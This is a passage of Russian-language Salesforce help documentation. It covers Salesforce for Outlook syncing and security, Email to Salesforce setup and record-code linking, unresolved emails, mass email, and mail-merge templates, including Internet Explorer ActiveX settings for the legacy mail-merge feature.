• Записи принадлежат участникам групп профиля синхронизации

Еслизапись, синхронизируемаяпонаправлениюиз Outlook в Salesforce, несоответствуетперечисленнымвышекатегориям,
то запись Outlook может быть удалена во время следующей синхронизации. Чтобы избежать удаления, рекомендуем
назначить записи категорию Outlook «Не синхронизировать с Salesforce».

СМ. ТАКЖЕ:

Общие сведения о синхронизации между приложением Microsoft® Outlook® и системой Salesforce

Почему приложение Salesforce for Outlook добавляет сообщения эл. почты в неверный контакт или интерес
Salesforce?

Ниже перечислены возможные причины.
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Рекомендуемые действияПриложение Salesforce for Outlook
может добавить сообщения эл.
почты в

Условие

ОбъединениеповторяющихсязаписейНеверные записиНаличие повторяющихся записей в
приложении Salesforce for Outlook

Добавление совпадающих контактов
или интересов в систему Salesforce и

Список «Мои неопределенные
элементы»

Отсутствиеповторяющихся записей в
приложении Salesforce for Outlook

связывание неопределенных
сообщений эл. почты с новыми
контактами или интересами

СМ. ТАКЖЕ:

Редактирование параметров эл. почты Salesforce for Outlook

Почему сообщения эл. почты не могут быть добавлены в систему Salesforce?

Еслидобавлениесообщенийэл. почтыпосредствомприложенияSalesforce for Outlookинициируетотображениесообщения
об ошибке «Пользователь не поддерживает отправку сообщений эл. почты в данную службу», следовательно,
используемый адрес эл. почты не авторизован в системе Salesforce.

Чтобы авторизовать адрес эл. почты в системе Salesforce, выполните указанные ниже действия.

1. Из ваших личных параметров введите «Моя функция Email to Salesforce» в поле «Быстрый поиск», затем
выберите «Мояфункция Email to Salesforce».

2. Введите нужные адреса эл. почты в поле «Мои допустимые адреса эл. почты». Адрес эл. почты, отсутствующий в
данномполе, неподдерживается системой Salesforceпридобавлениисообщенийэл. почтыпосредствомприложения
Salesforce for Outlook. Данное поле должно быть заполнено.

СМ. ТАКЖЕ:

Редактирование параметров эл. почты Salesforce for Outlook

Индивидуальная настройка системы Salesforce

Как добавить вложения эл. почты при добавлении сообщений эл. почты в систему Salesforce?

Пользователимогутдобавлять вложенияэл. почтыпридобавлениисообщенийэл. почтывсистему Salesforce, приусловии,
что администратором организации включены соответствующие параметры, а организация Salesforce располагает
достаточным пространством для хранения вложения.

Сообщение эл. почты, добавляемое в систему Salesforce, добавляется как новая задача. Вложения эл. почты добавляются
в связанные списки «Вложения».

Ниже перечислены способы добавления вложений эл. почты в систему Salesforce, доступность которых определяется
заданными параметрами организации.
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Порядок добавления
вложений в систему
Salesforce

Компоненты, включаемые
администратором

Компоненты, включаемые
пользователем

Используемая функция

Автоматически, после
добавления сообщения эл.

Параметры «Боковая
панель» и «Добавить

Salesforce for Outlook с
боковой панелью

почты в систему Salesforceна
боковой панели.

сообщение эл. почты» в
конфигурации Outlook

При выборе значка
после добавления

Параметры «Боковая
панель», «Добавить

сообщения эл. почты всообщение эл. почты» и
систему Salesforceнабоковой
панели.

«Разрешить пользователям
выбор вложений» в
конфигурации Outlook

Автоматически, после
добавления сообщения эл.

Функция Email to
Salesforce для

Функция Email to
Salesforce в параметрах

Salesforce for Outlook без
боковой панели

почты в систему Salesforceорганизации и активнаяэл. почты, с включенным
посредством кнопкиконфигурация Outlook,параметром «Всегда
«Добавить сообщения» илисодержащая текущего

пользователя
сохранять вложения эл.
почты» «Отправить и добавить» в

приложении Outlook.

Автоматически, после
отправки сообщения эл.

Функция Email to
Salesforce для
организации

Функция Email to
Salesforce в параметрах
эл. почты, с включенным
параметром «Всегда

Email to Salesforce

почты на адрес функции
Email to Salesforce.

сохранять вложения эл.
почты»

СМ. ТАКЖЕ:

Общие ограничения для сообщений эл. почты

Добавление сообщений эл. почты Microsoft® Outlook® в записи Salesforce

Настройка параметров эл. почты для Salesforce for Outlook

Настройка функции Email to Salesforce

Включение функции Email to Salesforce

Как включить синхронизацию контактов в приложении Salesforce for Outlook?

Прежде чем синхронизировать контакты между приложением Microsoft® Outlook® и системой Salesforce, администратор
должен выполнить указанные ниже действия.

• Создать конфигурацию, позволяющую пользователям синхронизировать контакты.

• Определить набор данных для этой конфигурации.

После выполнения этих двух действий пользователь должен включить возможность синхронизации контактов.
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1. Вличныхпараметрахвведитестроку «Salesforce for Outlook» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Salesforce for Outlook».

2. Нажмите кнопку «Просмотр моей конфигурации».

3. Установите флажок «Контакты» в разделе «Параметры синхронизации». Если данныйфлажок не может быть
установлен, обратитесь к администратору с просьбой включить синхронизацию контактов.

СМ. ТАКЖЕ:

Редактирование параметров синхронизации Salesforce for Outlook

Синхронизация контактов с помощью Salesforce for Outlook

Общие сведения о наборах данных для Salesforce for Outlook

Индивидуальная настройка системы Salesforce

Как приложение Salesforce for Outlook защищает сообщения эл. почты?

КомпанияSalesforceподдерживаетделегированнуюпроверкуподлинностиипроверкупосредством SAML дляприложения
Salesforce for Outlook.При использовании SAML в приложении Salesforce for Outlook требуется функция «Мой домен».

СМ. ТАКЖЕ:

Редактирование параметров эл. почты Salesforce for Outlook

Поддерживает ли компания Salesforce единую регистрацию для приложения Salesforce for Outlook?

Да. Компания Salesforce поддерживает делегированную проверку подлинности и проверку посредством SAML для
приложенияSalesforce for Outlook.ЕслиприложениеSalesforce for Outlookиспользуетделегированнуюпроверкуподлинности,
то вход в систему Salesforce должен быть выполнен при первом использовании приложения. При использовании SAML
в приложении Salesforce for Outlook требуется функция «Мой домен».

Насколько безопасно приложение Salesforce for Outlook?

Salesforce for Outlook — этоприложение .NET, устанавливаемоенакомпьютерпользователяиобеспечивающеебезопасное
подключение к системе Salesforce. А именно:

Приложение Salesforce for Outlook использует:Объект

OAuth 2.0 для проверки подлинности посредством Salesforce.

Имена пользователей и зашифрованные маркеры обновления OAuth хранятся в
специальной области. Пароли не хранятся.

Имена пользователей и пароли

128-разрядное шифрование SSL посредством подключения HTTPS.ПодключенияксистемеSalesforce

Connect for Outlook (больше не поддерживается)
Приложение Connect for Outlook больше не поддерживается, поэтому мы рекомендуем вам ознакомиться со следующими
продуктами Microsoft для интеграции на базе облаков или настольных компьютеров: приложение Salesforce для Outlook
или Salesforce for Outlook.
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Важное замечание: Начиная с зимы 2016 года мы прекращаем использование приложения Connect for Outlook. Это
означает, что продукт не сохраняет сообщения эл. почты и не синхронизирует контакты, события и задачи между
приложением Microsoft® Outlook® и системой Salesforce.

Не волнуйтесь! Для повышения производительности рекомендуем перейти к приложению Salesforce для Outlook
или Salesforce for Outlook. Обратитесь к администратору системы Salesforce, который поможет вам выбрать продукт,
наиболее подходящий для вашей работы.

СМ. ТАКЖЕ:

Как удалить приложение Connect for Outlook?

https://help.salesforce.com/HTViewSolution?id=000204943

Как удалить приложение Connect for Outlook?

Какое приложение интеграции электронной почты Microsoft® подходит для моей компании?

Как удалить приложение Connect for Outlook?

Важное замечание: Начиная с зимы 2016 года мы прекращаем использование приложения Connect for Outlook. Это
означает, что продукт не сохраняет сообщения эл. почты и не синхронизирует контакты, события и задачи между
приложением Microsoft® Outlook® и системой Salesforce.

Не волнуйтесь! Для повышения производительности рекомендуем перейти к приложению Salesforce для Outlook
или Salesforce for Outlook. Обратитесь к администратору системы Salesforce, который поможет вам выбрать продукт,
наиболее подходящий для вашей работы.

1. Закройте приложение Microsoft® Outlook®.

2. Откройте панель управления Windows®.

3. Выберите параметр удаления программ.

4. Найдите программу Salesforce Outlook Edition и выполните инструкции по ее удалению.

СМ. ТАКЖЕ:

https://help.salesforce.com/HTViewSolution?id=000204943

Какое приложение интеграции электронной почты Microsoft® подходит для моей компании?

Связывание сообщенийфункции Email to Salesforce с записями сообщений эл. почты
Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Свяжите сообщения эл. почтысинтересами, контактамиивозможностямиилидругими
отдельными записями в Salesforce. Этопозволит легко отслеживать контакты, связанные
с продажами.

Как работает функция Email to Salesforce?

Изучите принцип действияфункции Email to Salesforce, прежде чем использовать ее.

Рекомендации по использованиюфункции Email to Salesforce

Прежде чем использовать функцию Email to Salesforce, рассмотрите следующие
рекомендации.
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Настройка функции Email to Salesforce

Чтобы использовать функцию Email to Salesforce, сначала необходимо ее настроить.

Связывание электронной почты с записями Salesforce

Дляотслеживанияконтактов, связанныхспродажами, можнопривязатьэлектронныесообщениякинтересам, контактам
и возможностям, а также к отдельным записям системы Salesforce.

Рекомендации по использованиюфункции Email to Salesforce

При использованиифункции Email to Salesforce ознакомьтесь со следующими дополнительными сведениями.

Обработка сообщений эл. почты, которые не назначаются записям функцией Email to Salesforce

Некоторые сообщения эл. почты, отправляемые в систему Salesforce посредством функции Email to Salesforce или
приложения Salesforce for Outlook, автоматически назначаются связанным записям на основе параметров, заданных
для функции Email to Salesforce. Остальные сообщения добавляются в список «Мои неопределенные элементы»,
позволяющийназначитьэлементысвязаннымзаписямSalesforceилиподтвердить, чтоониоставленыбезназначения.

Как работает функция Email to Salesforce?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Изучите принцип действия функции Email to Salesforce, прежде чем использовать ее.

Введите адрес функции Email to Salesforce в поле «СК» или любое поле получателя при
создании, перенаправлении или ответе на сообщение эл. почты. Система Salesforce
получает копию этого сообщения. В зависимости от конфигурации система Salesforce
добавляетсообщениеэл. почтывсвязанныйсписок «Журналдействий» соответствующих
записей или на страницу «Мои неопределенные элементы». На странице «Мои
неопределенные элементы» можно вручную связать сообщения эл. почты с записями.
Неназначенные сообщения эл. почты также отображаются в списке открытых задач.

Связывание сообщений эл. почты с интересами, контактами и возможностями

Если параметрыфункции Email to Salesforce позволяют связывать сообщения эл. почты с совпадающими интересами
или контактами, то система Salesforce использует поля «Кому» и «Копия» для поиска адресов эл. почты интересов или
контактов. При обнаружении интересов или контактов система Salesforce сохраняет сообщение эл. почты в связанном
списке «Журнал действий» соответствующей записи.

Еслипараметрыфункции Email to Salesforce позволяютсвязывать сообщенияэл. почтыссовпадающимивозможностями,
то система Salesforce использует поля «Кому» и «Копия» для поиска адресов эл. почты контактов. При обнаружении
контактов система Salesforce сохраняет сообщение эл. почты в связанном списке «Журнал действий» всех открытых
возможностей при условии, что контакту назначается роль в возможности.

Если системе Salesforceне удается обнаружить совпадающиеадреса эл. почтыдляполучателей, отображающихся вполях
«Кому» и «Копия» сообщенийэл. почты, добавляемыхвсистему Salesforce, тостраница «Моинеопределенныеэлементы»
отображает каждое сообщение эл. почты в отдельной строке.

Связывание сообщений эл. почты с отдельными записями

Чтобы связать электронные сообщения с отдельными записями Salesforce, введите код записи в строке темы или в тексте
сообщения эл. почты.

Если функция Email to Salesforce связывает сообщение эл. почты с интересом, контактом или возможностью только на
основе кода записи (без использования адреса эл. почты), то система создает неопределенную задачу. Например, если
сообщенияэл. почтыдолжнысвязываться с совпадающимиинтересами, апользовательотправляет сообщениеэл. почты
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прямона адресфункции Email to Salesforce, указывая код записиинтереса в темеили тексте сообщения эл. почты, то данное
сообщение связывается с интересом, а система создает неопределенную задачу.

Начало работы

Когда администратор системы Salesforce активирует функцию Email to Salesforce, пользователи получают сообщение
эл. почты, в котором указывается созданный системой адрес функции Email to Salesforce. Этот адрес также отображается
в личных параметрах.

Перед использованиемфункции Email to Salesforce настройте ее в личных параметрах.

СМ. ТАКЖЕ:

Рекомендации по использованиюфункции Email to Salesforce

Настройка функции Email to Salesforce

Связывание электронной почты с записями Salesforce

Рекомендации по использованиюфункции Email to Salesforce

Рекомендации по использованию функции Email to Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Прежде чем использовать функцию Email to Salesforce, рассмотрите следующие
рекомендации.

Общие рекомендации

• Функция Email to Salesforceможетиспользоватьсясовместносклиентскимипочтовыми
приложениями (например, IBM® Lotus Notes® и Microsoft® Outlook®) и веб-службами
(например, Gmail® и Yahoo! Mail®).

• Функция Email to Salesforce пытается сопоставить адрес эл. почты, извлеченный из
поля «Кому» или «Копия», соднимиз адресов, указанныхв стандартномполе «Эл.
почта». Функция Email to Salesforceнеподдерживаетсопоставленияпонастраиваемым
полям эл. почты.

• Система Salesforce пропускает некорректные коды и коды записей, к которым отсутствует доступ для чтения.

• Функция Email to Salesforce требуется для использования функции «Добавить сообщение эл. почты» в приложении
Salesforce for Outlook. Отключение одной функции влечет за собой и отключение другой. При использовании
Salesforce for Outlook адреса добавляются через «Добавить сообщение» и «Отправить и добавить», а не через поле
«СК».

• Если добавить адрес электроннойпочтыполучателя в поле «СК», владелец этого адреса получит сообщение, но это
сообщение не связано с записями, в которых указывается данный адрес.

Ограничения

• Максимальноеколичествоадресов эл. почты, котороеможетбытьсопоставленофункцией Email to Salesforce, составляет
50. Если общее количество адресов в полях «Кому» и «Копия» превышает данное ограничение, то функция Email
to Salesforce обрабатывает только первые 50 уникальных адресов, указанных в сообщении эл. почты.

• Функция Email to Salesforce позволяет создавать не более 50 действий эл. почты для каждого полученного сообщения
эл. почты. Данная функция позволяет связывать каждую задачу эл. почты с 50 контактами.

• Максимальный размер вложенного файла составляет 25 Мб (при добавлении прямо в связанный список). Общий
максимальный размер всех файлов, вложенных в сообщение эл. почты, составляет 25 Мб; размер одного файла не
должен превышать 5 Мб. Все вложения, отправленные по эл. почте, дублируются для каждой совпадающей записи,
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влияя на ограничение размера данных. Вложения, которые не добавляются, перечисляются в электронном
подтверждении, которое отправляется системой Salesforce.

• Размер текста сообщения эл. почты и HTML усекается до 32 КБ.

Настройка функции Email to Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Чтобы использовать функцию Email to Salesforce, сначала необходимо ее настроить.

1. Вразделеличныхпараметроввведите «Email to Salesforce» вполе «Быстрый
поиск» и выберите пункт «Мояфункция Email to Salesforce».

2. Введите нужные адреса электронной почты в поле «Мои допустимые адреса эл.
почты». Привводенесколькихадресов эл. почтырекомендуемиспользовать запятые.

Важное замечание: Адрес функции Email to Salesforce принимает сообщения
эл. почты только от перечисленных адресов. В противном случае сообщения
эл. почты, отправленные на адрес функции Email to Salesforce, не будут связаны
с записями.

3. Выберите требуемые параметры в разделе «связывание сообщений эл. почты».

4. Чтобы исключить несколько доменов эл. почты из автоматического связывания, введите их через запятую в поле
«Исключенные домены».

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Рекомендации по использованиюфункции Email to Salesforce

Связывание электронной почты с записями Salesforce

Индивидуальная настройка системы Salesforce

Рекомендации по использованиюфункции Email to Salesforce

Связывание электронной почты с записями Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Для отслеживания контактов, связанных с продажами, можно привязать электронные
сообщениякинтересам, контактамивозможностям, а такжекотдельнымзаписямсистемы
Salesforce.

Чтобы связать электронные сообщения с интересами, контактами или возможностями,
выполните следующие действия:

1. Создайтесообщение, используяадресэл. почты, указанныйвполе «Мои допустимые
адреса эл. почты» на странице настройки функции «Моя функция Email to
Salesforce».

2. Введите адрес функции Email to Salesforce в поле «СК».

3. Отправьте сообщение эл. почты.

Чтобы связать электронные сообщения с отдельными записями Salesforce:

1. Создайтесообщение, используяадрес эл. почты, указанныйвполе «Мои допустимые адреса эл. почты» настранице
настройки функции «Моя функция Email to Salesforce».
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2. Найдите код записи, которая должна быть связана с сообщением эл. почты, в системе Salesforce. Код записи — это
чувствительныйкрегиструбуквенно-цифровойкод, содержащий 15 символовиотображающийсяв конце URL-адреса
записи.

3. Введите ref: и код записи в тему или текст сообщения эл. почты. Например: ref: 701D0000000HQZy.

4. Введите адрес функции Email to Salesforce в поля «Кому», «Копия» или «СК» сообщения эл. почты.

5. Отправьте сообщение эл. почты.

СМ. ТАКЖЕ:

Рекомендации по использованиюфункции Email to Salesforce

Рекомендации по использованиюфункции Email to Salesforce

Настройка функции Email to Salesforce

Рекомендации по использованию функции Email to Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

При использованиифункции Email to Salesforce ознакомьтесь со следующими
дополнительными сведениями.

Общие рекомендации

• Чтобыупростить доступ, добавьте адресфункции Email to Salesforce в адреснуюкнигу
почтового клиента.

• Прииспользованиифункции Email to Salesforce для сохранениясообщенияв качестве
действия эл. почтыпараметр «Отправить сообщение эл. почты по умолчанию»
определяетстандартныйтипзадачи. Чтобыизменитьстандартноезначение, измените
значение поля раскрывающегося списка «Тип задачи».

• Сообщенияэл. почты, полученныесисключенныхдоменов, добавляютсяв список «Моинеопределенныеэлементы».
Данный список позволяет назначать сообщения эл. почты вручную или оставлять их без назначения.

• Чтобы сохранить сообщение в качестве действия и не отправлять его другому пользователю, направьте сообщение,
указав адресфункции Email to Salesforce в поле «Кому». Введите адресфункции электроннойпочты в Salesforce в поля
«Кому», «Копия» или «СК» сообщения эл. почты. Система Salesforce получает копию сообщения эл. почты и
использует поля «От», «Кому» и «Копия» перенаправленного сообщения эл. почты для поиска адресов эл. почты
интересовиконтактов. Приобнаруженииинтересовиликонтактовсистема Salesforce сохраняет сообщениеэл. почты
в связанном списке «Журнал действий» соответствующей записи.

• Если функция Email to Salesforce сопоставляет адрес эл. почты с несколькими интересами или контактами Salesforce,
то сообщение эл. почтыможет быть связано со всеми совпадающими записями, самой ранней записьюили записью
с наибольшей активностью.

• Если функция Email to Salesforce сопоставляет сообщение эл. почты с несколькими возможностями Salesforce, то
сообщение эл. почты добавляется в связанный список «Журнал действий» всех совпадающих открытых записей.

Коды записей

• Кодзаписи — эточувствительныйкрегиструбуквенно-цифровойкод, содержащий 15 символовиотображающийся
в конце URL-адреса записи. Например, при просмотре страницы сведений о записи кампании URL-адрес выглядит
следующимобразом: https://na1.salesforce.com/701D0000000HQZy. Кодэтойзаписи — 701D0000000HQZy.

• Коды записей, заключенные в скобки (), [] или {}, могут быть введены в отдельную строку или текст сообщения эл.
почты. Например: (ref: 701D0000000HQZy). Несколько кодов записей разделяются запятой, например: ref:
701D0000000HQZy, 801D0000000IRAz, 901D0000000JSBa.
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Обработка сообщений эл. почты, которые не назначаются записям функцией Email to Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience (только
при отображении запроса
устранить конфликтные
данные
Salesforce for Outlook в
области уведомлений
панели задач Windows)

Доступно в версиях: все
версии.
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ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра или
редактирования
неопределенныхсообщений
эл. почты:
• «Редактирование» для

задач и «Чтение» для
объектов, назначенных
сообщению эл. почты

И

«Email to Salesforce»

ИЛИ

«Добавить сообщение
эл. почты» в
приложении
Salesforce for Outlook и
Email to Salesforce

Для создания записей
Salesforce:
• «Редактирование» для

задач

И

«Показать быстрое
создание» и «Создание»
для соответствующих
объектов

Для просмотра недавних
данных в полях связанных
записей:
• «Автозаполнение полей

поиска» в параметрах
поиска

Некоторыесообщенияэл. почты, отправляемыевсистемуSalesforceпосредствомфункции
Email to Salesforce или приложения Salesforce for Outlook, автоматически назначаются
связанным записям на основе параметров, заданных для функции Email to Salesforce.
Остальные сообщения добавляются в список «Мои неопределенные элементы»,
позволяющий назначить элементы связанным записям Salesforce или подтвердить, что
они оставлены без назначения.

1. Перейдитекненазначеннымсообщениямэл. почтыизсписка «Моинеопределенные
элементы».

2. Выберите одно из указанных ниже действий.

• Назначение связанным записям. Введите связанную запись в одно или оба поля.
При необходимости выберите нужный тип записи в раскрывающемся списке.
При назначении интереса дополнительные записи не могут быть назначены.
Для отмены назначения очистите поле ввода.

• Оставитьбезназначения. Строка «Неопределенное сообщение эл. почты:» удаляется
из темы, а само сообщение назначается текущему пользователю в качестве
выполненной задачи. Еслираскрывающийся список задачи «Статус» содержит
несколько статусов Completed, система Salesforce использует первый из них.

3. Сохраните внесенные изменения.

Назначенные сообщения эл. почты добавляются к связанным записям. Все
измененные элементы удаляются из списка.

Использование интегрированной эл. почты Salesforce.
Вопросы и ответы

Поддерживает ли система Salesforce отправку пакетных
электронных рассылок?
Чтобы выполнить пакетную рассылку маркетинговых сообщений эл. почты,
воспользуйтесь сторонним приложением из каталога AppExchange, поддерживающим
централизованное управление кампаниями электронных рассылок и отслеживание
ответов, направленных в систему Salesforce. Данные функции позволяют группе
маркетинга отслеживать количество перспективных интересов и рентабельность
инвестиций для кампаний электронных рассылок.

Чтобы выполнить пакетную рассылку коммерческих сообщений эл. почты, откройте вкладку «Контакты» в системе
Salesforce. Затемвразделе «Инструменты» выберите «Пакетнаяэлектроннаярассылкаконтактов»иследуйтеуказаниям
мастера электронной рассылки.

СМ. ТАКЖЕ:

Общие вопросы об импорте

Пакетная электронная рассылка в Salesforce Classic

Поддерживает ли система Salesforce отправку HTML-сообщений эл. почты?
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Поддерживает ли система Salesforce отправку HTML-сообщений эл. почты?
Да. Система Salesforce позволяет отправлять HTML-сообщения эл. почты контактам, интересам, организациям-лицам и
пользователяморганизации. Сообщенияэл. почтымогутбытьотправленыотдельнымпользователямилигруппеконтактов.
Кроме того, система позволяет настраивать шаблоны часто используемых HTML-сообщений эл. почты.

СМ. ТАКЖЕ:

Общие вопросы об импорте

Отправка сообщений эл. почты в Salesforce Classic

Создание стандартных писем посредством шаблонов

Стандартные письма

ВЕРСИИ

This feature is available in
both Salesforce Classic

Доступно в версиях: все
версии.

Стандартные письма — процесс создания писем и других документов Microsoft® Word,
адресованныхличнополучателю (обычноконтактуилиинтересу). Содержаниекаждого
документаопределяетсяшаблономстандартногописьма. Шаблоныстандартныхписем
содержат переменные, называемые полями слияния и позволяющие использовать в
созданном документе данные из записей Salesforce (например, имя и адрес контакта).

Важное замечание:  When Salesforce disables TLS 1.0, we’re retiring support for standard
Mail Merge. This change means that sales reps can no longer generate mail merge documents
in Microsoft® Word. Even if reps are able to access the feature, Salesforce no longer provides
support or maintenance when there is an issue. Не волнуйтесь! Reps can continue running
mail merges with Salesforce data when you migrate them to Extended Mail Merge.

Прим.: Ниже перечислены требования к системе.

• Microsoft® Internet Explorer® 9, 10 и 11

• Microsoft Word 2003 или 2007

• Microsoft Windows® XP and Windows Vista® (32-bit only) - Until Salesforce disables TLS 1.0, when Windows Vista is no longer
supported.

Создание документов для отдельных стандартных писем
Чтобы создать документ Microsoft Word для отдельной записи, откройте страницу сведения записи и щелкните
«Стандартные письма» в связанном списке «Журнал действий».

СМ. ТАКЖЕ:

Установка элемента управления Mail Merge ActiveX

Пакетное создание документов стандартных писем с помощью расширенных стандартных писем

Отправка отдельных документов стандартных писем
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Установка элемента управления Mail Merge ActiveX
Еслив Salesforceотключенпротокол TLS 1,0, топоддержка стандартныхписембудетотменена. Длядальнейшегосоздания
стандартныхписемсданнымиSalesforceобратитесьвслужбуподдержкиSalesforce, чтобывключитьфункцию «Расширенные
стандартные письма».

Важное замечание: Если в Salesforce отключен протокол TLS 1.0, поддержка стандартных писем будет отменена.
Это означает, что торговые представители больше не смогут создавать документы стандартных писем в Microsoft®

Word. Даже если у торгового представителя будет доступ к этой функции, Salesforce не будет ее поддерживать и
обслуживать, пока проблема не будет устранена. Не волнуйтесь! Торговые представители могут по-прежнему
работать со стандартными письмами с данными Salesforce при перехода на функцию «Расширенные стандартные
письма».

Прежде чем создать документ стандартного письма, рекомендуем установить элемент управления ActiveX, позволяющий
системе Salesforce взаимодействоватьсприложением Word. Чтобызагрузитьэлементыуправления ActiveX, выполните
вход от имени пользователя Windows, которому предоставлены полномочия администратора. Если элементы
управления ActiveX не могут быть загружены, обратитесь к сотрудникам отдела информационных технологий или
системному администратору Windows.

Ниже перечислены требования к системе.

• Microsoft® Internet Explorer® 9, 10 и 11

• Microsoft Word 2003 или 2007

• Microsoft Windows® XP и Windows Vista® (только 32-разрядная): пока Salesforceотключает TLS 1.0приотсутствииподдержки
Windows Vista.

Чтобы разрешить веб-обозревателю принимать элементы управления ActiveX, выполните указанные ниже действия.

1. Чтобыоткрытьдиалоговоеокно «Свойстваобозревателя», последовательновыберитепункты«Сервис» > > «Свойства
обозревателя».

2. Откройте вкладку «Безопасность».

3. Щелкните значок зоны «Интернет» и нажмите кнопку «Другой...».

4. Вразделе «Элементы ActiveX имодулиподключения» установитепереключатель «Включить» или «Предлагать» для
следующихпараметров: «Загрузкаподписанныхэлементов ActiveX», «Запускэлементов ActiveX имодулейподключения»
и «Выполнять сценарии элементов ActiveX, помеченных как безопасные».

5. В разделе «Загрузка» установите переключатель «Включить» для параметра «Загрузка файла».

6. Нажмите кнопку «OK».

7. Повторите перечисленные выше действия для зоны «Надежные узлы».

8. Убедитесь, что узел Salesforce является надежным. Нажмите кнопку «Узлы» и найдите следующую строку:
https://*.salesforce.com. Если узел отсутствует в списке надежных, введите адрес
https://*.salesforce.com в текстовое поле и нажмите кнопку «Добавить». Нажмите кнопку «OK».

9. Откройте вкладку «Дополнительно» диалогового окна «Свойства обозревателя».

10. Убедитесь, чтофлажок «Несохранять зашифрованныестраницынадиск» раздела «Безопасность» поля «Параметры»
снят.

11. Нажмите кнопку «OK».

12. Чтобы применить внесенные изменения, перезапустите приложение Internet Explorer.

При первом создании стандартного письма обозреватель Internet Explorer 7 или 8 может отображать следующее
всплывающее сообщение: «Исключение. Невозможно создание объекта сервером программирования объектов».
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Данноесообщениеможетбытьпропущено. Чтобызакрытьвсплывающеесообщениеипродолжитьсозданиестандартного
письма, нажмите кнопку «ОК».

Прим.: Функция «Расширенные стандартные письма» не требует установки элемента управления ActiveX.

СМ. ТАКЖЕ:

Стандартные письма

Управление шаблонами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии, кроме
Database.com Edition.

Администраторможет создаватьииспользоватьшаблоныдляопределенияфирменных
бланков, отправкиисходящихсообщенийэл. почтыисозданиядокументовстандартных
писем.

• Фирменные бланки определяют внешний вид и стиль HTML-шаблонов эл. почты.
HTML-шаблоны эл. почты могут наследовать логотип, цвет и параметры текста от
фирменного бланка.

• Шаблоныэл. почтыпозволяютотправлять контактам, интересамидругимобъектам
сообщения эл. почты на основе предопределенныхшаблонов.

• Шаблоны стандартных писем позволяют создавать настраиваемые документы на
основе сведений из записей. Например, создайте настраиваемое благодарственное
письмо для отправки конкретному интересу.

СМ. ТАКЖЕ:

Создание письменного бланка

Управление шаблонами эл. почты

Управление шаблонами стандартных писем
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Создание шаблонов стандартных писем

ВЕРСИИ

Данная функция доступна
только в интерфейсе
Salesforce Classic.

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для загрузки шаблонов
стандартных писем:
• «Управление

общедоступными
шаблонами»

Для редактирования
шаблонов стандартных
писем:
• «Управление

общедоступными
шаблонами»

1. Откройте пустой документ в приложении Microsoft® Word 2007.

2. Чтобысоставитьдокументв соответствиис текущимитребованиями, воспользуйтесь
функциями приложения Microsoft Word.

3. Определите текстовые или информационные переменные, которые будут меняться
при каждом использованиишаблона. Например, в приветствии «Здравствуйте,
Александр!» переменной является слово «Александр», так как именно эта часть
приветствия изменяется в случае отправки сообщения эл. почты другому
пользователю.

4. Замените все переменные соответствующими полями слияния Salesforce.

Важное замечание: Все метки полей слияния должны быть уникальными.

a. Установите курсор в нужную область документа.

b. В версии Word 2007 нажмите кнопку «Экспресс-блоки» в группе «Текст» на
вкладке «Вставка» и выберите пункт «Поле».

c. Выберите пункт «Слияние» в раскрывающемся списке «Категории».

d. Выберите значениеMergeField в поле «Поля».

e. Вручную введите имя допустимого поля слияния (например,
Opportunity_LineItem_ProductName) в области «Имя поля» раздела
«Свойства поля». Для создания полного списка стандартных и настраиваемых
полей, доступныхворганизациях Salesforce, ознакомьтесьсостатьейВыборимен
полей записи для стандартных писем.

f. Нажмите кнопку «OK».

Прим.: Чтобы создать полный список продуктов, связанных с возможностью, вставьте поле слияния
Opportunity_LineItem_Start внужнуюобластьдокумента. Затемвставьте всеполя слияния, которые
должныбыть добавленыдля каждогопродукта возможности. Чтобыобозначить конец списка, вставьтеполе
слияния Opportunity_LineItem_End.

5. Сохраните документ Word.

6. Перейдите к разделу «Загрузка шаблонов стандартных писем в Salesforce» на странице 1832.

Совет: Примите во внимание указанные ниже рекомендации.

• Шаблоныстандартныхписемнедолжныиметь свойство «защищенный» или «ограниченныйдоступ» в Microsoft
Word. Дополнительнуюинформациюозащищенныхдокументах Word см. винтерактивнойсправкеприложения
Word. (Чтобы открыть справку, нажмите клавишу F1.)

• Шаблоныстандартныхписемнедолжныбытьсвязанысвнешнимиисточникамиданных (например, таблицами
Excel или базами данных Access). Дополнительную информацию о преобразовании документов стандартных
писем в стандартные документы Word см. в интерактивной справке приложения Word.

СМ. ТАКЖЕ:

Управление шаблонами стандартных писем

Стандартные письма
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Изменение существующих шаблонов стандартных писем

ВЕРСИИ

Данная функция доступна
только в интерфейсе
Salesforce Classic.

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для загрузки шаблонов
стандартных писем:
• «Управление

общедоступными
шаблонами»

Для редактирования
шаблонов стандартных
писем:
• «Управление

общедоступными
шаблонами»

1. Загрузите образцышаблонов стандартных писем и извлеките архивные файлы в
нужный каталог на жестком диске.

2. Просмотрите инструкции в файле
salesforce_mailmerge_templates_howto.doc.

3. Откройте нужный образец шаблона в приложении Microsoft Word.

4. Сохраните копию образца шаблона на рабочем столе компьютера или в любой
другойпапке. В Word 2007 нажмите кнопку Office ивыберитепункт «Сохранитькак»,
затем введите имя файла и выберите целевую папку.

5. При необходимости настройте текст и форматирование шаблона.

6. Чтобы просмотреть коды скрытых полей, нажмите клавиши ALT + F9.

При этом каждое поле стандартного письма отображается в фигурных скобках.
Например: {MERGEFIELD Contact_FullName \* MERGEFORMAT}

7. При необходимости измените или добавьте поля слияния.

a. Установите курсор в нужную область документа.

b. В версии Word 2007 нажмите кнопку «Экспресс-блоки» в группе «Текст» на
